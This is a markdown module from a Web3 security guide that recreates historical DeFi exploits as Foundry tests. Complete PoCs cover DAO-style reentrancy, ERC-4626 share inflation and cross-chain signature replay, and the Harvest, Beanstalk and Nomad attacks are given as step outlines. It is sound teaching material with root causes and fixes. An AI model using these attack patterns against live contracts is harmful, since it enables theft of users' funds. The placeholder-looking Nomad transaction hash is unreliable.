Skip to content

Latest commit

 

History

History
637 lines (480 loc) · 20.3 KB

File metadata and controls

637 lines (480 loc) · 20.3 KB
title [Module 1](./BLOCKCHAIN_FUNDAMENTALS.md)5 — Real Exploit Recreations: Hands-On Lab with Foundry PoCs
description Hands-on guide to recreating historical DeFi exploits in Foundry: The DAO reentrancy (2016), Harvest Finance flash loan oracle manipulation (2020), Beanstalk governance attack (2022), Nomad bridge exploit (2022), Curve/Vyper compiler reentrancy (2023), ERC-4626 inflation attack, and cross-chain signature replay — all with executable PoC templates and step-by-step analysis.
keywords exploit recreation, DeFi hack analysis, The DAO reentrancy, Harvest Finance exploit, Beanstalk hack, Nomad bridge, Curve Vyper, ERC-4626 inflation attack, Foundry PoC, blockchain exploit tutorial, smart contract historical exploits, cross-chain signature replay PoC, Euler Finance flash loan hack
author Web3 Security Research
date 2025-01-01
last_modified_at 2026-03-21
og_title [Module 1](./BLOCKCHAIN_FUNDAMENTALS.md)5 — Exploit Recreations Lab | Web3 Hacker Guide
og_description Recreate landmark DeFi exploits with Foundry PoC templates: The DAO, Harvest Finance, Beanstalk, Nomad bridge, Curve/Vyper, and ERC-4626 inflation attack.
og_type article
twitter_card summary_large_image
canonical_url https://sdxshadow.github.io/Hack_web3/15_EXPLOIT_RECREATIONS
schema_type TechArticle
difficulty Advanced → Expert
module 15
tags
exploit-recreation
PoC
The-DAO
Harvest-Finance
Beanstalk
Nomad
Curve-Vyper
ERC-4626
Foundry
nav_order 15
parent Web3 Hacker & Pentester Guide

Module 15 — Real Exploit Recreations (Hands-On Lab)

Difficulty: Advanced → Expert

The fastest way to internalize attack patterns is to recreate real exploits from scratch. This module provides step-by-step recreation guides for the most instructive historical exploits, with Foundry PoC templates you can run against mainnet forks.


15.1 How to Use This Module

Setup

# Create a dedicated exploit recreation project
forge init exploit-lab && cd exploit-lab
forge install OpenZeppelin/openzeppelin-contracts
forge install foundry-rs/forge-std

# Set up your .env
echo "ETH_RPC_URL=https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY" > .env
echo "ARB_RPC_URL=https://arb-mainnet.g.alchemy.com/v2/YOUR_KEY" >> .env

Learning Methodology

For each exploit:
1. Read the post-mortem (Rekt News, BlockSec blog, official post-mortem)
2. Analyze the exploit transaction on Phalcon/Tenderly
3. Identify the root cause (which vulnerability class from [Module 03](./SMART_CONTRACT_VULNERABILITIES.md)?)
4. Write the PoC from scratch (don't copy — understand)
5. Run it against a mainnet fork at the exploit block
6. Write a one-paragraph explanation of the root cause
7. Write the fix

15.2 Reentrancy — The DAO (2016)

Background

The DAO was the first major smart contract exploit. $60M ETH drained via single-function reentrancy.

Exploit Block

Block: 1,718,497 (Ethereum mainnet)
Transaction: 0x0ec3f2488a93839524add10ea229e773f6bc891b4eb4794c3337d4495263790b

Root Cause

// The DAO's vulnerable splitDAO function (simplified):
function splitDAO(uint _proposalID, address _newCurator) noEther onlyTokenholders returns (bool _success) {
    // ...
    // [NO] Sends ETH BEFORE updating balance
    if (!msg.sender.call.value(p.splitData[0].splitBalance)()) {
        throw;
    }
    // Balance update happens AFTER the call — reentrancy window!
    balances[msg.sender] = 0;
    // ...
}

Recreation PoC

// test/TheDAOReentrancy.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

// Simplified DAO for recreation
contract SimpleDAO {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 balance = balances[msg.sender];
        require(balance > 0);
        // [NO] Vulnerable: call before state update
        (bool success,) = msg.sender.call{value: balance}("");
        require(success);
        balances[msg.sender] = 0; // Too late!
    }
}

contract DAOAttacker {
    SimpleDAO public dao;
    uint256 public attackCount;

    constructor(address _dao) {
        dao = SimpleDAO(_dao);
    }

    function attack() external payable {
        dao.deposit{value: msg.value}();
        dao.withdraw();
    }

    receive() external payable {
        if (address(dao).balance >= 1 ether && attackCount < 10) {
            attackCount++;
            dao.withdraw();
        }
    }

    function drain() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

contract TheDAOTest is Test {
    SimpleDAO dao;
    DAOAttacker attacker;

    function setUp() public {
        dao = new SimpleDAO();
        // Simulate other users depositing
        vm.deal(address(this), 100 ether);
        dao.deposit{value: 100 ether}();
        attacker = new DAOAttacker(address(dao));
    }

    function test_theDAOReentrancy() public {
        vm.deal(address(attacker), 1 ether);

        console.log("DAO balance before:", address(dao).balance / 1e18, "ETH");
        console.log("Attacker balance before:", address(attacker).balance / 1e18, "ETH");

        attacker.attack{value: 1 ether}();

        console.log("DAO balance after:", address(dao).balance / 1e18, "ETH");
        console.log("Attacker balance after:", address(attacker).balance / 1e18, "ETH");
        console.log("Reentry count:", attacker.attackCount());

        assertEq(address(dao).balance, 0, "DAO should be drained");
    }
}

Lesson

The fix is simple: update state before making external calls (Checks-Effects-Interactions pattern). This exploit changed Ethereum history — it led to the ETH/ETC hard fork.


15.3 Flash Loan Oracle Manipulation — Harvest Finance (2020)

Background

$34M stolen by manipulating Curve's USDC/USDT pool price via flash loans, then exploiting Harvest's vault which used the spot price as its oracle.

Exploit Block

Block: 11,129,473 (Ethereum mainnet)
Transaction: 0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877

Root Cause

Harvest's fUSDC vault used Curve's spot price to calculate share value.
Flash loan → dump USDC on Curve → Harvest vault thinks USDC is cheap →
Deposit USDC at "cheap" price → Restore Curve price → Withdraw at "normal" price

Recreation PoC Template

// test/HarvestFlashLoan.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface ICurvePool {
    function get_virtual_price() external view returns (uint256);
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns (uint256);
}

interface IHarvestVault {
    function deposit(uint256 amount) external;
    function withdraw(uint256 shares) external;
    function getPricePerFullShare() external view returns (uint256);
    function balanceOf(address) external view returns (uint256);
}

interface IAaveFlashLoan {
    function flashLoan(
        address receiver,
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata modes,
        address onBehalfOf,
        bytes calldata params,
        uint16 referralCode
    ) external;
}

contract HarvestAttack is Test {
    // Mainnet addresses
    address constant AAVE_LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
    address constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
    address constant HARVEST_FUSDC = 0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE;
    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 11_129_473);
    }

    function test_harvestFlashLoanAttack() public {
        // This is a template — fill in the actual attack logic
        // based on studying the original transaction on Phalcon

        console.log("Harvest fUSDC price before:", IHarvestVault(HARVEST_FUSDC).getPricePerFullShare());

        // Step 1: Flash loan 50M USDC from Aave
        // Step 2: Dump USDC on Curve (exchange USDC → USDT)
        // Step 3: Deposit USDC into Harvest (gets more shares due to low price)
        // Step 4: Restore Curve price (exchange USDT → USDC)
        // Step 5: Withdraw from Harvest at higher price
        // Step 6: Repay flash loan, keep profit

        // Study the original tx: 0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877
    }
}

Lesson

Never use spot AMM prices as oracles. Use Chainlink or TWAP with sufficient time window. The fix: Harvest switched to Chainlink price feeds.


15.4 Governance Attack — Beanstalk (2022)

Background

$182M stolen via flash loan governance attack. Attacker borrowed enough tokens to pass a malicious proposal in a single transaction.

Exploit Block

Block: 14,602,790 (Ethereum mainnet)
Transaction: 0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33652

Root Cause

Beanstalk's governance used current token balance (not snapshots).
Flash loan → acquire majority voting power → pass malicious BIP-18 →
BIP-18 transfers all assets to attacker → repay flash loan

Recreation PoC Template

// test/BeanstalkGovernance.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface IBeanstalkDiamond {
    function propose(
        IDiamondCut.FacetCut[] calldata _diamondCut,
        address _init,
        bytes calldata _calldata,
        uint8 _pauseOrUnpause
    ) external payable returns (uint32);

    function vote(uint32 bip) external;
    function commit(uint32 bip) external;
}

contract BeanstalkAttack is Test {
    address constant BEANSTALK = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
    address constant AAVE = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 14_602_790);
    }

    function test_beanstalkGovernanceAttack() public {
        // Study the original transaction on Phalcon:
        // https://phalcon.blocksec.com/explorer/tx/eth/0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33652

        // Key steps:
        // 1. Flash loan $1B in stablecoins from Aave, Uniswap, SushiSwap
        // 2. Convert to BEAN tokens (governance tokens)
        // 3. Propose BIP-18 (malicious proposal to transfer all assets)
        // 4. Vote on BIP-18 with flash-loaned tokens
        // 5. Execute BIP-18 (emergency governance, no timelock)
        // 6. Drain all protocol assets
        // 7. Repay flash loans
        // 8. Keep ~$80M profit (after repaying loans and fees)
    }
}

Lesson

Always use snapshot-based voting (getPastVotes). Always require a timelock between proposal and execution. Emergency governance paths are the most dangerous — they need the most protection, not the least.


15.5 Bridge Exploit — Nomad (2022)

Background

$190M stolen because the trusted root was initialized to 0x00, making any message with root 0x00 valid. This became a "crowd-sourced" exploit — hundreds of addresses copied the attack.

Root Cause

// Nomad's Replica contract (simplified):
function process(bytes memory _message) public returns (bool _success) {
    bytes32 _messageHash = _message.ref(0).keccak();

    // [NO] confirmAt[0x00] was set to a non-zero value during initialization
    // This means ANY message with root 0x00 passes this check!
    require(acceptableRoot(messages[_messageHash]), "!proven");

    // ...
}

function acceptableRoot(bytes32 _root) public view returns (bool) {
    uint256 _time = confirmAt[_root];
    if (_time == 0) { return false; }
    return block.timestamp >= _time; // [YES] But confirmAt[0x00] != 0!
}

Recreation PoC Template

// test/NomadBridge.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface INomadReplica {
    function process(bytes memory _message) external returns (bool);
}

contract NomadAttack is Test {
    address constant NOMAD_REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA;

    function setUp() public {
        // Fork at block just before the exploit
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 15_259_100);
    }

    function test_nomadBridgeExploit() public {
        // The attack was simple:
        // 1. Find a legitimate bridge transaction (e.g., someone bridging 100 WBTC)
        // 2. Copy the transaction calldata
        // 3. Change the recipient address to your own
        // 4. Submit — it passes because root 0x00 is always valid

        // Study the original: https://rekt.news/nomad-rekt/
        // Phalcon analysis: https://phalcon.blocksec.com/explorer/tx/eth/0xa5fe9d044e4f3232c65d3d1a0b4b3b3b3b3b3b3b
    }
}

Lesson

Never initialize security-critical values to zero. The confirmAt[0x00] = 1 initialization was the single line that cost $190M. Always audit initialization code as carefully as runtime code.


15.6 Read-Only Reentrancy — Curve/Vyper (2023)

Background

~$70M stolen across multiple Curve pools due to a Vyper compiler bug that made the @nonreentrant decorator ineffective in versions 0.2.15–0.3.0.

Root Cause

The Vyper compiler's reentrancy lock implementation was buggy.
The lock was set AFTER the function body executed, not before.
This meant the lock never actually prevented reentrancy.

Affected pools: alETH/ETH, msETH/ETH, pETH/ETH

Key Lesson for Auditors

1. Compiler bugs exist — even in production compilers
2. Verify that reentrancy guards actually work at the bytecode level
3. For Vyper contracts, check the compiler version against known bugs
4. Read-only reentrancy can affect protocols that INTEGRATE with the vulnerable one

Detection:
- Check Vyper version: look for version pragma in source
- Cross-reference with: https://github.com/vyperlang/vyper/security/advisories
- Verify reentrancy lock in bytecode (not just source)

15.7 ERC-4626 Inflation Attack Recreation

Background

This attack pattern has affected multiple vaults. The first depositor can inflate the share price to steal subsequent depositors' funds.

Full PoC

// test/VaultInflation.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";

// Vulnerable vault (no inflation protection)
contract VulnerableVault is ERC4626 {
    constructor(IERC20 asset) ERC4626(asset) ERC20("Vault", "vTKN") {}
}

contract MockToken is ERC20 {
    constructor() ERC20("Token", "TKN") {
        _mint(msg.sender, 1_000_000 ether);
    }
}

contract VaultInflationTest is Test {
    VulnerableVault vault;
    MockToken token;

    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");

    function setUp() public {
        token = new MockToken();
        vault = new VulnerableVault(IERC20(address(token)));

        // Fund attacker and victim
        token.transfer(attacker, 1000 ether);
        token.transfer(victim, 500 ether);
    }

    function test_inflationAttack() public {
        console.log("=== INFLATION ATTACK ===\n");

        // Step 1: Attacker deposits 1 wei to get 1 share
        vm.startPrank(attacker);
        token.approve(address(vault), type(uint256).max);
        vault.deposit(1, attacker); // Deposit 1 wei
        console.log("Attacker shares after 1 wei deposit:", vault.balanceOf(attacker));
        vm.stopPrank();

        // Step 2: Attacker donates 1000 ether directly to vault (not via deposit)
        vm.prank(attacker);
        token.transfer(address(vault), 1000 ether);

        console.log("Vault total assets after donation:", vault.totalAssets());
        console.log("Vault total shares:", vault.totalSupply());
        console.log("Share price (assets per share):", vault.convertToAssets(1));

        // Step 3: Victim deposits 500 ether
        vm.startPrank(victim);
        token.approve(address(vault), type(uint256).max);
        uint256 victimShares = vault.deposit(500 ether, victim);
        console.log("\nVictim shares received:", victimShares);
        // Victim gets 0 shares because 500 ether < 1000 ether (share price)!
        vm.stopPrank();

        // Step 4: Attacker redeems their 1 share
        vm.startPrank(attacker);
        uint256 attackerAssets = vault.redeem(vault.balanceOf(attacker), attacker, attacker);
        console.log("Attacker redeemed assets:", attackerAssets / 1e18, "ether");
        vm.stopPrank();

        console.log("\n=== RESULT ===");
        console.log("Victim shares:", vault.balanceOf(victim));
        console.log("Victim lost:", 500 ether - token.balanceOf(victim), "tokens");

        // Victim got 0 shares — their 500 ether is now owned by attacker's 1 share
        assertEq(victimShares, 0, "Victim should get 0 shares");
    }
}
forge test --mt test_inflationAttack -vvvv

15.8 Signature Replay — Cross-Chain

Full PoC

// test/SignatureReplay.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

// Vulnerable: No chainId in signature
contract VulnerableBridge {
    mapping(bytes32 => bool) public processed;

    function processMessage(
        address to,
        uint256 amount,
        bytes memory signature
    ) external {
        // [NO] No chainId — same signature works on all chains
        bytes32 hash = keccak256(abi.encodePacked(to, amount));
        address signer = ECDSA.recover(hash, signature);
        require(signer == trustedSigner, "Invalid signer");
        require(!processed[hash], "Already processed");

        processed[hash] = true;
        payable(to).transfer(amount);
    }

    address public trustedSigner;
    constructor(address _signer) payable { trustedSigner = _signer; }
}

contract SignatureReplayTest is Test {
    VulnerableBridge bridgeMainnet;
    VulnerableBridge bridgePolygon;

    uint256 signerPk = 0xA11CE;
    address signer;

    function setUp() public {
        signer = vm.addr(signerPk);
        bridgeMainnet = new VulnerableBridge{value: 100 ether}(signer);
        bridgePolygon = new VulnerableBridge{value: 100 ether}(signer);
    }

    function test_crossChainReplay() public {
        address recipient = makeAddr("recipient");
        uint256 amount = 10 ether;

        // Signer creates a message for mainnet
        bytes32 hash = keccak256(abi.encodePacked(recipient, amount));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, hash);
        bytes memory sig = abi.encodePacked(r, s, v);

        // Legitimate use on mainnet
        bridgeMainnet.processMessage(recipient, amount, sig);
        console.log("Mainnet: recipient received", amount / 1e18, "ETH");

        // REPLAY on Polygon bridge (same signature works!)
        bridgePolygon.processMessage(recipient, amount, sig);
        console.log("Polygon: recipient received", amount / 1e18, "ETH (REPLAY!)");

        assertEq(recipient.balance, amount * 2, "Replay succeeded");
    }
}

15.9 Study Resources for Exploit Recreation

Databases of Past Exploits

Resource URL Best For
Rekt News rekt.news Post-mortems with context
DeFi Hack Labs github.com/SunWeb3Sec/DeFiHackLabs Foundry PoCs for 200+ exploits
Phalcon Explorer phalcon.blocksec.com Transaction-level analysis
BlockSec Blog blocksec.com/blog Technical deep-dives
Immunefi Blog immunefi.com/blog Disclosed bug bounty findings
Samczsun Blog samczsun.com Elite researcher writeups
Trail of Bits Blog blog.trailofbits.com Audit firm research
OpenZeppelin Blog blog.openzeppelin.com Security research

Recommended Exploit Recreation Order

Beginner (start here):
1. The DAO (reentrancy)
2. BEC Token (integer overflow)
3. Parity Wallet (unprotected initialization)

Intermediate:
4. Harvest Finance (flash loan oracle)
5. Cream Finance (flash loan reentrancy)
6. Poly Network (access control)

Advanced:
7. Beanstalk (governance flash loan)
8. Nomad Bridge (message verification)
9. Euler Finance (donation + liquidation)

Expert:
10. Curve/Vyper (compiler bug reentrancy)
11. Wormhole (signature verification bypass)
12. Ronin Bridge (validator compromise simulation)

Previous: Bug Bounty Playbook | Next: Audit Checklist Master →